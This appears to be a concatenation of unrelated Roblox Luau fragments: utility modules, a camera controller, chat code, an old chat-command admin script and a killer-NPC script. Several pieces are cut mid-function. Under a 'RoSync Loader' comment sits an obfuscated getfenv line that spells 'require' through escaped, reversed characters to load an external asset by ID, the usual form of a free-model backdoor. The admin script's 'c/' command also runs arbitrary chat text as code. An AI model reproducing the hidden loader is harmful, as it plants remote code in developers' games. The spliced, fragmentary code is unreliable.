CS:GetInstanceRemovedSignal("Ragdoll"):Connect(function(v) if v:IsA("Model") then ragdollBuilder:Unragdoll(v) end end)
--[=[ Promises the resulting asset is inserted from insert service, or a rejection @param assetId number @return Promise<Instance> ]=]
function InsertServiceUtils.promiseAsset(assetId) assert(type(assetId) == "number", "Bad assetId") if assetId == 0 then return Promise.rejected() end return Promise.spawn(function(resolve, reject) local result local ok, err = pcall(function() result = InsertService:LoadAsset(assetId) end) if not ok then return reject(err) end if typeof(result) ~= "Instance" then return reject("Result was not an instance") end resolve(result) end) end return InsertServiceUtils
-- PARENT
local localPlayer = game:GetService("Players").LocalPlayer local playerGui = localPlayer.PlayerGui topbarPlusGui.Parent = playerGui return topbarPlusGui
-- services
local run = game:GetService("RunService")
--local Player = References.LocalPlayer
local Animate = {}
--Services
local Players = game:GetService("Players") local MarketplaceService = game:GetService("MarketplaceService") local ReplicatedStorage = game:GetService("ReplicatedStorage") local NameTag = ReplicatedStorage.NameGUI local ServerStorage = game:GetService("ServerStorage") local Configurations = require(ServerStorage.Configurations) local GamepassID = Configurations.GamePassIds.VIP local function onPlayerAdded(player: Player) player.CharacterAppearanceLoaded:Connect(function(character) local Head = character.Head or character:WaitForChild("Head") local success, result = pcall(function() return MarketplaceService:UserOwnsGamePassAsync(player.UserId, GamepassID) end) if success then if result then local nameClone = NameTag:Clone() nameClone.name.Text = "VIP" nameClone.Adornee = character.Head nameClone.Parent = character.Head nameClone.name.Font = Enum.Font.GothamSemibold nameClone.name.TextColor3 = Color3.new(1, 1, 0) nameClone.name.TextSize = 16 local humanoid: Humanoid = character:WaitForChild("Humanoid") humanoid.DisplayDistanceType = Enum.HumanoidDisplayDistanceType.None end end local s, r = pcall(function() return player.MembershipType == Enum.MembershipType.Premium end) if s then if r then local nameClone = NameTag:Clone() nameClone.name.Text = "Premium" nameClone.Adornee = character.Head nameClone.Parent = character.Head nameClone.name.Font = Enum.Font.GothamSemibold nameClone.name.TextColor3 = Color3.new(1, 1, 1) nameClone.name.TextSize = 16 local humanoid: Humanoid = character:WaitForChild("Humanoid") humanoid.DisplayDistanceType = Enum.HumanoidDisplayDistanceType.None end end end) end Players.PlayerAdded:Connect(onPlayerAdded)
----- Bonus credit to BuildIntoGames if you try to steal this and remove the credits at the top, you shady n00b
--print("AF:",AF)
Spawn(function() for j, v in pairs(i) do wait(v[3] and v[3] or 0) for k = 1, v[2] do for m, n in pairs(Parts:GetChildren()) do if n.Name == l then
--[[ I update this command script alot, so if you want to get the newest version of the script, go to http://www.roblox.com/Item.aspx?ID=5277383 every once in a while. If theres anything you think this command script needs, just message me (Person299) and i might put it in. :) And also, if you find any bugs, report them to me. The commands are, commands Shows a list of all the commands fix If the command script breaks for you, say this to fix it --also if your not in edit/build mode and you dont no the commands say commands also you can say bannedlist to show the banned and adminlist to show the admins!!! kill/Person299 kills Person299 loopkill/Person299 Repeatedly kills Person299 when he respawns unloopkill/Person299 Undos loopkill/ heal/Person299 Returns Person299 to full health damage/Person299/50 Makes Person299's character take 50 damage health/Person299/999999 Makes Person299's MaxHealth and Health 999999 kick/Person299 Removes Person299 from the game, cannot be used by admin/ed people ban/Person299 Removes Person299 from the game and keeps him from reenterring, cannot be used by admin/ed people bannedlist Shows a list of everyone banned unban/Person299 Unbans Person299 explode/Person299 Explodes Person299's character rocket/Person299 Straps a rocket onto Person299's back removetools/Person299 Removes all of Person299's tools. givetools/Person299 Gives Person299 all the tools in StarterPack givebtools/Person299 Gives Person299 the building tools sit/Person299 Makes Person299 sit part/4/1/2 Makes a part with the given dimensions appear over your character respawn/Person299 Makes Person299's character respawn jail/Person299 Makes a lil jail cell around Person299's character unjail/Person299 Undos jail/ punish/Person299 Puts Person299's character in game.Lighting unpunish/Person299 Undos punish/ merge/Person299/Farvei Makes Person299 control Farvei's character teleport/Person299/nccvoyager Teleports Person299's character to nccvoyager's character control/Person299 Makes you control Person299's character change/Person299/Money/999999 Makes the Money value in Person299's leaderstats 999999 tools Gives you a list of all the tools available to be give/en, the tool must be in game.Lighting give/Person299/Tool Give's Person299 a tool, the toolname can be abbreviated time/15.30 Makes game.Lighting.TimeOfDay 15:30 ambient/255/0/0 Makes game.Lighting.Ambient 255,0,0 maxplayers/20 Makes game.Players.MaxPlayers 20 nograv/Person299 Makes Person299 almost weightless antigrav/Person299 Gives Person299 antigravity properties grav/Person299 Returns Person299's gravity to normal highgrav/Person299 Makes Person299 heavier setgrav/Person299/-196 Sets Person299's gravity trip/Person299 Makes Person299's character trip walkspeed/Person299/99 Makes Person299's character's humanoid's WalkSpeed 99, 16 is average invisible/Person299 Makes Person299's character invisible visible/Person299 Undos invisible/ freeze/Person299 Makes Person299's character unable to move thaw/Person299 Undos freeze/ unlock/Person299 Makes Person299's character unlocked lock/Person299 Makes Person299's character locked ff/Person299 Gives Person299's character a ForceField unff/Person299 Undos ff/ sparkles/Person299 Makes Person299's character sparkly unsparkles/Person299 Undos sparkles/ shield/Person299 Makes a destructive shield thingy appear around Person299 unshield/Person299 Undos shield/ god/Person299 Makes Person299 godish ungod/Person299 Undos god/ zombify/Person299 Makes Person299 a infecting zombie admin/Person299 Makes Person299 able to use the command script, cannot be used by admin/ed people adminlist Shows a list of everyone in the adminlist unadmin/Person299 Undos admin/, cannot be used by admin/ed people shutdown Shuts the server down, cannot be used by admin/ed people m/Fallout 2 is one of the best games ever made Makes a message appear on the screen saying "Fallout 2 is one of the best games ever made" for 2 seconds h/i like pie Makes a hint appear on the screen saying "i like pie" for 2 seconds c/ game.Workspace:remove() Makes a script which source is whats after c/ clear Removes all scripts created by c/ and removes all jails. Capitalisation doesnt matter, and name input can be abbreviated. Just about any name input can be replaced with multiple names seperated by ","s, me, all, others, guests, admins, nonadmins, random, or team teamname. --]]
namelist = { } variablelist = { } flist = { } local source = script:FindFirstChild("source") if source ~= nil then sbbu = script.source:clone() sbbu.Disabled = false else print("source doesnt exist, your command script may malfunction") end tools = Instance.new("Model") c = game.Lighting:GetChildren() for i=1,#c do if c[i].className == "Tool" then c[i]:clone().Parent = tools end if c[i].className == "HopperBin" then c[i]:clone().Parent = tools end end function findplayer(name,speaker) if string.lower(name) == "all" then local chars = { } local c = game.Players:GetChildren() for i =1,#c do if c[i].className == "Player" then table.insert(chars,c[i]) end end return chars elseif string.sub(string.lower(name),1,9) == "nonadmins" then local nnum = 0 local chars = { } local c = game.Players:GetChildren() for i=1,#c do local isadmin = false for i2 =1,#namelist do if namelist[i2] == c[i].Name then isadmin = true end end if isadmin == false then nnum = nnum + 1 table.insert(chars,c[i]) end end if nnum == 0 then return 0 else return chars end elseif string.sub(string.lower(name),1,6) == "admins" then local anum = 0 local chars = { } local c = game.Players:GetChildren() for i=1,#c do for i2 =1,#namelist do if namelist[i2] == c[i].Name then anum = anum + 1 table.insert(chars,c[i]) end end end if anum == 0 then return 0 else return chars end elseif string.sub(string.lower(name),1,6) == "random" then while true do local c = game.Players:GetChildren() local r = math.random(1,#c) if c[r].className == "Player" then return { c[r] } end end elseif string.sub(string.lower(name),1,6) == "guests" then local gnum = 0 local chars = { } local c = game.Players:GetChildren() for i=1,#c do if string.sub(c[i].Name,1,5) == "Guest" then gnum = gnum + 1 table.insert(chars,c[i]) end end if gnum == 0 then return 0 else return chars end elseif string.sub(string.lower(name),1,5) == "team " then local theteam = nil local tnum = 0 if game.Teams ~= nil then local c = game.Teams:GetChildren() for i =1,#c do if c[i].className == "Team" then if string.find(string.lower(c[i].Name),string.sub(string.lower(name),6)) == 1 then theteam = c[i] tnum = tnum + 1 end end end if tnum == 1 then local chars = { } local c = game.Players:GetChildren() for i =1,#c do if c[i].className == "Player" then if c[i].TeamColor == theteam.TeamColor then table.insert(chars,c[i]) end end end return chars end end return 0 elseif string.lower(name) == "me" then local person299 = { speaker } return person299 elseif string.lower(name) == "others" then local chars = { } local c = game.Players:GetChildren() for i =1,#c do if c[i].className == "Player" then if c[i] ~= speaker then table.insert(chars,c[i]) end end end return chars else local chars = { } local commalist = { } local ssn = 0 local lownum = 1 local highestnum = 1 local foundone = false while true do ssn = ssn + 1 if string.sub(name,ssn,ssn) == "" then table.insert(commalist,lownum) table.insert(commalist,ssn - 1) highestnum = ssn - 1 break end if string.sub(name,ssn,ssn) == "," then foundone = true table.insert(commalist,lownum) table.insert(commalist,ssn) lownum = ssn + 1 end end if foundone == true then for ack=1,#commalist,2 do local cnum = 0 local char = nil local c = game.Players:GetChildren() for i =1,#c do if c[i].className == "Player" then if string.find(string.lower(c[i].Name),string.sub(string.lower(name),commalist[ack],commalist[ack + 1] - 1)) == 1 then char = c[i] cnum = cnum + 1 end end end if cnum == 1 then table.insert(chars,char) end end if #chars ~= 0 then return chars else return 0 end else local cnum = 0 local char = nil local c = game.Players:GetChildren() for i =1,#c do if c[i].className == "Player" then if string.find(string.lower(c[i].Name),string.lower(name)) == 1 then char = {c[i]} cnum = cnum + 1 end end end if cnum == 1 then return char elseif cnum == 0 then text("That name is not found.",1,"Message",speaker) return 0 elseif cnum > 1 then text("That name is ambiguous.",1,"Message",speaker) return 0 end end end end -- I really like the way the ends look when they're all on the same line better, dont you? function createscript(source,par) local a = sbbu:clone() local context = Instance.new("StringValue") context.Name = "Context" context.Value = source context.Parent = a while context.Value ~= source do wait() end a.Parent = par local b = Instance.new("IntValue") b.Name = "Is A Created Script" b.Parent = a end function text(message,duration,type,object) local m = Instance.new(type) m.Text = message m.Parent = object wait(duration) if m.Parent ~= nil then m:remove() end end function foc(msg,speaker) if string.lower(msg) == "fix" then for i =1,#namelist do if namelist[i] == speaker.Name then variablelist[i]:disconnect() table.remove(variablelist,i) table.remove(namelist,i) table.remove(flist,i) end end local tfv = speaker.Chatted:connect(function(msg) oc(msg,speaker) end) table.insert(namelist,speaker.Name) table.insert(variablelist,tfv) local tfv = speaker.Chatted:connect(function(msg) foc(msg,speaker) end) table.insert(flist,tfv) end end function PERSON299(name) for i =1,#adminlist do if adminlist[i] == name then return true end end return false end function oc(msg,speaker) if string.sub(string.lower(msg),1,5) == "kill/" then--This part checks if the first part of the message is kill/ local player = findplayer(string.sub(msg,6),speaker)--This part refers to the findplayer function for a list of people associated with the input after kill/ if player ~= 0 then--This part makes sure that the findplayer function found someone, as it returns 0 when it hasnt for i = 1,#player do--This part makes a loop, each different loop going through each player findplayer returned if player[i].Character ~= nil then--This part makes sure that the loop's current player's character exists local human = player[i].Character:FindFirstChild("Humanoid")--This part looks for the Humanoid in the character if human ~= nil then--This part makes sure the line above found a humanoid human.Health = 0--This part makes the humanoid's health 0 end end end end end--This line contains the ends for all the if statements and the for loop if string.sub(string.lower(msg),1,2) == "m/" then text(speaker.Name .. ": " .. string.sub(msg,3),2,"Message",game.Workspace) end if string.sub(string.lower(msg),1,2) == "h/" then text(speaker.Name .. ": " .. string.sub(msg,3),2,"Hint",game.Workspace) end if string.sub(string.lower(msg),1,2) == "c/" then--Dontcha wish pcall was more reliable? createscript(string.sub(msg,3),game.Workspace) end local msg = string.lower(msg) if string.sub(msg,1,5) == "give/" then local danumber1 = nil for i = 6,100 do if string.sub(msg,i,i) == "/" then danumber1 = i break elseif string.sub(msg,i,i) == "" then break end end if danumber1 == nil then return end local it = nil local all = true if string.sub(string.lower(msg),danumber1 + 1,danumber1 + 4) ~= "all" then all = false local itnum = 0 local c = tools:GetChildren() for i2 = 1,#c do if string.find(string.lower(c[i2].Name),string.sub(string.lower(msg),danumber1 + 1)) == 1 then it = c[i2] itnum = itnum + 1 end end if itnum ~= 1 then return end else all = true end local player = findplayer(string.sub(msg,6,danumber1 - 1),speaker) if player ~= 0 then for i = 1,#player do local bp = player[i]:FindFirstChild("Backpack") if bp ~= nil then if all == false then it:clone().Parent = bp else local c = tools:GetChildren() for i2 = 1,#c do c[i2]:clone().Parent = bp end end end end end end
-- The distance above the area-defining part that counts as part of the area
Security.AreaHeight = 500;
--[[ Tool.GripForward = Vector3.new(0,-1,0) Tool.GripPos = Vector3.new(0,0,2) Tool.GripRight = Vector3.new(1,0,0) Tool.GripUp = Vector3.new(0,0,-1) ]]
-- enabled = true end script.Parent.Activated:connect(onActivated)
--[[ Last synced 5/29/2021 06:10 RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
-- Listener for changes to workspace.CurrentCamera
function BaseCamera:OnCurrentCameraChanged() if UserInputService.TouchEnabled then if self.viewportSizeChangedConn then self.viewportSizeChangedConn:Disconnect() self.viewportSizeChangedConn = nil end local newCamera = game.Workspace.CurrentCamera if newCamera then self:OnViewportSizeChanged() self.viewportSizeChangedConn = newCamera:GetPropertyChangedSignal("ViewportSize"):Connect(function() self:OnViewportSizeChanged() end) end end -- VR support additions if self.cameraSubjectChangedConn then self.cameraSubjectChangedConn:Disconnect() self.cameraSubjectChangedConn = nil end local camera = game.Workspace.CurrentCamera if camera then self.cameraSubjectChangedConn = camera:GetPropertyChangedSignal("CameraSubject"):Connect(function() self:OnNewCameraSubject() end) self:OnNewCameraSubject() end end function BaseCamera:OnDynamicThumbstickEnabled() if UserInputService.TouchEnabled then self.isDynamicThumbstickEnabled = true end end function BaseCamera:OnDynamicThumbstickDisabled() self.isDynamicThumbstickEnabled = false end function BaseCamera:OnGameSettingsTouchMovementModeChanged() if player.DevTouchMovementMode == Enum.DevTouchMovementMode.UserChoice then if (UserGameSettings.TouchMovementMode == Enum.TouchMovementMode.DynamicThumbstick or UserGameSettings.TouchMovementMode == Enum.TouchMovementMode.Default) then self:OnDynamicThumbstickEnabled() else self:OnDynamicThumbstickDisabled() end end end function BaseCamera:OnDevTouchMovementModeChanged() if player.DevTouchMovementMode.Name == "DynamicThumbstick" then self:OnDynamicThumbstickEnabled() else self:OnGameSettingsTouchMovementModeChanged() end end function BaseCamera:OnPlayerCameraPropertyChange() -- This call forces re-evaluation of player.CameraMode and clamping to min/max distance which may have changed self:SetCameraToSubjectDistance(self.currentSubjectDistance) end function BaseCamera:GetCameraHeight() if VRService.VREnabled and not self.inFirstPerson then return math.sin(VR_ANGLE) * self.currentSubjectDistance end return 0 end function BaseCamera:InputTranslationToCameraAngleChange(translationVector, sensitivity) return translationVector * sensitivity end function BaseCamera:Enable(enable) if self.enabled ~= enable then self.enabled = enable if self.enabled then self:ConnectInputEvents() self:BindContextActions() if player.CameraMode == Enum.CameraMode.LockFirstPerson then self.currentSubjectDistance = 0.5 if not self.inFirstPerson then self:EnterFirstPerson() end end else self:DisconnectInputEvents() self:UnbindContextActions() -- Clean up additional event listeners and reset a bunch of properties self:Cleanup() end end end function BaseCamera:GetEnabled() return self.enabled end function BaseCamera:OnInputBegan(input, processed) if input.UserInputType == Enum.UserInputType.Touch then self:OnTouchBegan(input, processed) elseif input.UserInputType == Enum.UserInputType.MouseButton2 then self:OnMouse2Down(input, processed) elseif input.UserInputType == Enum.UserInputType.MouseButton3 then self:OnMouse3Down(input, processed) end end function BaseCamera:OnInputChanged(input, processed) if input.UserInputType == Enum.UserInputType.Touch then self:OnTouchChanged(input, processed) elseif input.UserInputType == Enum.UserInputType.MouseMovement then self:OnMouseMoved(input, processed) end end function BaseCamera:OnInputEnded(input, processed) if input.UserInputType == Enum.UserInputType.Touch then self:OnTouchEnded(input, processed) elseif input.UserInputType == Enum.UserInputType.MouseButton2 then self:OnMouse2Up(input, processed) elseif input.UserInputType == Enum.UserInputType.MouseButton3 then self:OnMouse3Up(input, processed) end end function BaseCamera:OnPointerAction(wheel, pan, pinch, processed) if processed then return end if pan.Magnitude > 0 then local inversionVector = Vector2.new(1, UserGameSettings:GetCameraYInvertValue()) local rotateDelta = self:InputTranslationToCameraAngleChange(PAN_SENSITIVITY*pan, MOUSE_SENSITIVITY)*inversionVector self.rotateInput = self.rotateInput + rotateDelta end local zoom = self.currentSubjectDistance local zoomDelta = -(wheel + pinch) if abs(zoomDelta) > 0 then local newZoom if self.inFirstPerson and zoomDelta > 0 then newZoom = FIRST_PERSON_DISTANCE_THRESHOLD else if FFlagUserFixZoomInZoomOutDiscrepancy then if (zoomDelta > 0) then newZoom = zoom + zoomDelta*(1 + zoom*ZOOM_SENSITIVITY_CURVATURE) else newZoom = (zoom + zoomDelta) / (1 - zoomDelta*ZOOM_SENSITIVITY_CURVATURE) end else newZoom = zoom + zoomDelta*(1 + zoom*ZOOM_SENSITIVITY_CURVATURE) end end self:SetCameraToSubjectDistance(newZoom) end end function BaseCamera:ConnectInputEvents() self.pointerActionConn = UserInputService.PointerAction:Connect(function(wheel, pan, pinch, processed) self:OnPointerAction(wheel, pan, pinch, processed) end) self.inputBeganConn = UserInputService.InputBegan:Connect(function(input, processed) self:OnInputBegan(input, processed) end) self.inputChangedConn = UserInputService.InputChanged:Connect(function(input, processed) self:OnInputChanged(input, processed) end) self.inputEndedConn = UserInputService.InputEnded:Connect(function(input, processed) self:OnInputEnded(input, processed) end) self.menuOpenedConn = GuiService.MenuOpened:connect(function() self:ResetInputStates() end) self.gamepadConnectedConn = UserInputService.GamepadDisconnected:connect(function(gamepadEnum) if self.activeGamepad ~= gamepadEnum then return end self.activeGamepad = nil self:AssignActivateGamepad() end) self.gamepadDisconnectedConn = UserInputService.GamepadConnected:connect(function(gamepadEnum) if self.activeGamepad == nil then self:AssignActivateGamepad() end end) self:AssignActivateGamepad() if not FFlagUserCameraToggle then self:UpdateMouseBehavior() end end function BaseCamera:BindContextActions() self:BindGamepadInputActions() self:BindKeyboardInputActions() end function BaseCamera:AssignActivateGamepad() local connectedGamepads = UserInputService:GetConnectedGamepads() if #connectedGamepads > 0 then for i = 1, #connectedGamepads do if self.activeGamepad == nil then self.activeGamepad = connectedGamepads[i] elseif connectedGamepads[i].Value < self.activeGamepad.Value then self.activeGamepad = connectedGamepads[i] end end end if self.activeGamepad == nil then -- nothing is connected, at least set up for gamepad1 self.activeGamepad = Enum.UserInputType.Gamepad1 end end function BaseCamera:DisconnectInputEvents() if self.inputBeganConn then self.inputBeganConn:Disconnect() self.inputBeganConn = nil end if self.inputChangedConn then self.inputChangedConn:Disconnect() self.inputChangedConn = nil end if self.inputEndedConn then self.inputEndedConn:Disconnect() self.inputEndedConn = nil end end function BaseCamera:UnbindContextActions() for i = 1, #self.boundContextActions do ContextActionService:UnbindAction(self.boundContextActions[i]) end self.boundContextActions = {} end function BaseCamera:Cleanup() if self.pointerActionConn then self.pointerActionConn:Disconnect() self.pointerActionConn = nil end if self.menuOpenedConn then self.menuOpenedConn:Disconnect() self.menuOpenedConn = nil end if self.mouseLockToggleConn then self.mouseLockToggleConn:Disconnect() self.mouseLockToggleConn = nil end if self.gamepadConnectedConn then self.gamepadConnectedConn:Disconnect() self.gamepadConnectedConn = nil end if self.gamepadDisconnectedConn then self.gamepadDisconnectedConn:Disconnect() self.gamepadDisconnectedConn = nil end if self.subjectStateChangedConn then self.subjectStateChangedConn:Disconnect() self.subjectStateChangedConn = nil end if self.viewportSizeChangedConn then self.viewportSizeChangedConn:Disconnect() self.viewportSizeChangedConn = nil end if self.touchActivateConn then self.touchActivateConn:Disconnect() self.touchActivateConn = nil end self.turningLeft = false self.turningRight = false self.lastCameraTransform = nil self.lastSubjectCFrame = nil self.userPanningTheCamera = false self.rotateInput = Vector2.new() self.gamepadPanningCamera = Vector2.new(0,0) -- Reset input states self.startPos = nil self.lastPos = nil self.panBeginLook = nil self.isRightMouseDown = false self.isMiddleMouseDown = false self.fingerTouches = {} self.dynamicTouchInput = nil self.numUnsunkTouches = 0 self.startingDiff = nil self.pinchBeginZoom = nil -- Unlock mouse for example if right mouse button was being held down if UserInputService.MouseBehavior ~= Enum.MouseBehavior.LockCenter then UserInputService.MouseBehavior = Enum.MouseBehavior.Default end end
--[=[ Overwrites an existing table with the source values. @param target table -- Table to overwite @param source table -- Source table to read from @return table -- target ]=]
function Table.overwrite(target, source) for index, item in pairs(source) do target[index] = item end return target end
--//////////////////////////////////////////////////////////////////////////////////////////// --///////////// Code to talk to topbar and maintain set/get core backwards compatibility stuff --////////////////////////////////////////////////////////////////////////////////////////////
local Util = {} do function Util.Signal() local sig = {} local mSignaler = Instance.new('BindableEvent') local mArgData = nil local mArgDataCount = nil function sig:fire(...) mArgData = {...} mArgDataCount = select('#', ...) mSignaler:Fire() end function sig:connect(f) if not f then error("connect(nil)", 2) end return mSignaler.Event:connect(function() f(unpack(mArgData, 1, mArgDataCount)) end) end function sig:Wait() mSignaler.Event:Wait() assert(mArgData, "Missing arg data, likely due to :TweenSize/Position corrupting threadrefs.") return unpack(mArgData, 1, mArgDataCount) end return sig end end function SetVisibility(val) ChatWindow:SetVisible(val) moduleApiTable.VisibilityStateChanged:fire(val) moduleApiTable.Visible = val if (moduleApiTable.IsCoreGuiEnabled) then if (val) then InstantFadeIn() else InstantFadeOut() end end end do moduleApiTable.TopbarEnabled = true moduleApiTable.MessageCount = 0 moduleApiTable.Visible = true moduleApiTable.IsCoreGuiEnabled = true function moduleApiTable:ToggleVisibility() SetVisibility(not ChatWindow:GetVisible()) end function moduleApiTable:SetVisible(visible) if (ChatWindow:GetVisible() ~= visible) then SetVisibility(visible) end end function moduleApiTable:FocusChatBar() ChatBar:CaptureFocus() end function moduleApiTable:GetVisibility() return ChatWindow:GetVisible() end function moduleApiTable:GetMessageCount() return self.MessageCount end function moduleApiTable:TopbarEnabledChanged(enabled) self.TopbarEnabled = enabled self.CoreGuiEnabled:fire(game:GetService("StarterGui"):GetCoreGuiEnabled(Enum.CoreGuiType.Chat)) end function moduleApiTable:IsFocused(useWasFocused) return ChatBar:IsFocused() end moduleApiTable.ChatBarFocusChanged = Util.Signal() moduleApiTable.VisibilityStateChanged = Util.Signal() moduleApiTable.MessagesChanged = Util.Signal() moduleApiTable.MessagePosted = Util.Signal() moduleApiTable.CoreGuiEnabled = Util.Signal() moduleApiTable.ChatMakeSystemMessageEvent = Util.Signal() moduleApiTable.ChatWindowPositionEvent = Util.Signal() moduleApiTable.ChatWindowSizeEvent = Util.Signal() moduleApiTable.ChatBarDisabledEvent = Util.Signal() function moduleApiTable:fChatWindowPosition() return ChatWindow.GuiObject.Position end function moduleApiTable:fChatWindowSize() return ChatWindow.GuiObject.Size end function moduleApiTable:fChatBarDisabled() return not ChatBar:GetEnabled() end function moduleApiTable:SpecialKeyPressed(key, modifiers) if (key == Enum.SpecialKey.ChatHotkey) then if canChat then DoChatBarFocus() end end end end moduleApiTable.CoreGuiEnabled:connect(function(enabled) moduleApiTable.IsCoreGuiEnabled = enabled enabled = enabled and (moduleApiTable.TopbarEnabled or ChatSettings.ChatOnWithTopBarOff) ChatWindow:SetCoreGuiEnabled(enabled) if (not enabled) then ChatBar:ReleaseFocus() InstantFadeOut() else InstantFadeIn() end end) function trimTrailingSpaces(str) local lastSpace = #str while lastSpace > 0 do --- The pattern ^%s matches whitespace at the start of the string. (Starting from lastSpace) if str:find("^%s", lastSpace) then lastSpace = lastSpace - 1 else break end end return str:sub(1, lastSpace) end moduleApiTable.ChatMakeSystemMessageEvent:connect(function(valueTable) if (valueTable["Text"] and type(valueTable["Text"]) == "string") then while (not DidFirstChannelsLoads) do wait() end local channel = ChatSettings.GeneralChannelName local channelObj = ChatWindow:GetChannel(channel) if (channelObj) then local messageObject = { ID = -1, FromSpeaker = nil, SpeakerUserId = 0, OriginalChannel = channel, IsFiltered = true, MessageLength = string.len(valueTable.Text), Message = trimTrailingSpaces(valueTable.Text), MessageType = ChatConstants.MessageTypeSetCore, Time = os.time(), ExtraData = valueTable, } channelObj:AddMessageToChannel(messageObject) ChannelsBar:UpdateMessagePostedInChannel(channel) moduleApiTable.MessageCount = moduleApiTable.MessageCount + 1 moduleApiTable.MessagesChanged:fire(moduleApiTable.MessageCount) end end end) moduleApiTable.ChatBarDisabledEvent:connect(function(disabled) if canChat then ChatBar:SetEnabled(not disabled) if (disabled) then ChatBar:ReleaseFocus() end end end) moduleApiTable.ChatWindowSizeEvent:connect(function(size) ChatWindow.GuiObject.Size = size end) moduleApiTable.ChatWindowPositionEvent:connect(function(position) ChatWindow.GuiObject.Position = position end)
-- EVENTS
IconController.iconAdded = Signal.new() IconController.iconRemoved = Signal.new() IconController.controllerModeStarted = Signal.new() IconController.controllerModeEnded = Signal.new()
--[[if JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Thumbnail")then]]-- --[[JeffTheKiller:FindFirstChild("Thumbnail"):Destroy();]]-- --[[end;]]
-- local JeffTheKillerHumanoid; for _,Child in pairs(JeffTheKiller:GetChildren())do if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then JeffTheKillerHumanoid=Child; end; end; local AttackDebounce=false; local JeffTheKillerKnife=JeffTheKiller:FindFirstChild("Knife"); local JeffTheKillerHead=JeffTheKiller:FindFirstChild("Head"); local JeffTheKillerHumanoidRootPart=JeffTheKiller:FindFirstChild("HumanoidRootPart"); local WalkDebounce=false; local Notice=false; local JeffLaughDebounce=false; local MusicDebounce=false; local NoticeDebounce=false; local ChosenMusic; function FindNearestBae() local NoticeDistance=100; local TargetMain; for _,TargetModel in pairs(Game:GetService("Workspace"):GetChildren())do if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and TargetModel.className=="Model"and TargetModel~=JeffTheKiller and TargetModel.Name~=JeffTheKiller.Name and TargetModel:FindFirstChild("Torso")and TargetModel:FindFirstChild("Head")then local TargetPart=TargetModel:FindFirstChild("Torso"); local FoundHumanoid; for _,Child in pairs(TargetModel:GetChildren())do if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then FoundHumanoid=Child; end; end; if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<NoticeDistance then TargetMain=TargetPart; NoticeDistance=(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude; local hit,pos=raycast(JeffTheKillerHumanoidRootPart.Position,(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).unit,500) if hit and hit.Parent and hit.Parent.ClassName=="Model"and hit.Parent:FindFirstChild("Torso")and hit.Parent:FindFirstChild("Head")then if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<9 and not AttackDebounce then Spawn(function() AttackDebounce=true; local SwingAnimation=JeffTheKillerHumanoid:LoadAnimation(JeffTheKiller:FindFirstChild("Swing")); local SwingChoice=math.random(1,2); local HitChoice=math.random(1,3); SwingAnimation:Play(); SwingAnimation:AdjustSpeed(1.5+(math.random()*0.1)); if JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Swing")then local SwingSound=JeffTheKillerKnife:FindFirstChild("Swing"); SwingSound.Pitch=1+(math.random()*0.04); SwingSound:Play(); end; Wait(0.3); if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<8 then FoundHumanoid:TakeDamage(60); if HitChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit1")then local HitSound=JeffTheKillerKnife:FindFirstChild("Hit1"); HitSound.Pitch=1+(math.random()*0.04); HitSound:Play(); elseif HitChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit2")then local HitSound=JeffTheKillerKnife:FindFirstChild("Hit2"); HitSound.Pitch=1+(math.random()*0.04); HitSound:Play(); elseif HitChoice==3 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit3")then local HitSound=JeffTheKillerKnife:FindFirstChild("Hit3"); HitSound.Pitch=1+(math.random()*0.04); HitSound:Play(); end; end; Wait(0.1); AttackDebounce=false; end); end; end; end; end; end; return TargetMain; end; while Wait(0)do local TargetPoint=JeffTheKillerHumanoid.TargetPoint; local Blockage,BlockagePos=RayCast((JeffTheKillerHumanoidRootPart.CFrame+CFrame.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(TargetPoint.X,JeffTheKillerHumanoidRootPart.Position.Y,TargetPoint.Z)).lookVector*(JeffTheKillerHumanoidRootPart.Size.Z/2)).p,JeffTheKillerHumanoidRootPart.CFrame.lookVector,(JeffTheKillerHumanoidRootPart.Size.Z*2.5),{JeffTheKiller,JeffTheKiller}) local Jumpable=false; if Blockage then Jumpable=true; if Blockage and Blockage.Parent and Blockage.Parent.ClassName~="Workspace"then local BlockageHumanoid; for _,Child in pairs(Blockage.Parent:GetChildren())do if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then BlockageHumanoid=Child; end; end; if Blockage and Blockage:IsA("Terrain")then local CellPos=Blockage:WorldToCellPreferSolid((BlockagePos-Vector3.new(0,2,0))); local CellMaterial,CellShape,CellOrientation=Blockage:GetCell(CellPos.X,CellPos.Y,CellPos.Z); if CellMaterial==Enum.CellMaterial.Water then Jumpable=false; end; elseif BlockageHumanoid or Blockage.ClassName=="TrussPart"or Blockage.ClassName=="WedgePart"or Blockage.Name=="Handle"and Blockage.Parent.ClassName=="Hat"or Blockage.Name=="Handle"and Blockage.Parent.ClassName=="Tool"then Jumpable=false; end; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and not JeffTheKillerHumanoid.Sit and Jumpable then JeffTheKillerHumanoid.Jump=true; end; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHumanoidRootPart and JeffTheKillerHead:FindFirstChild("Jeff_Step")and (JeffTheKillerHumanoidRootPart.Velocity-Vector3.new(0,JeffTheKillerHumanoidRootPart.Velocity.y,0)).magnitude>=5 and not WalkDebounce and 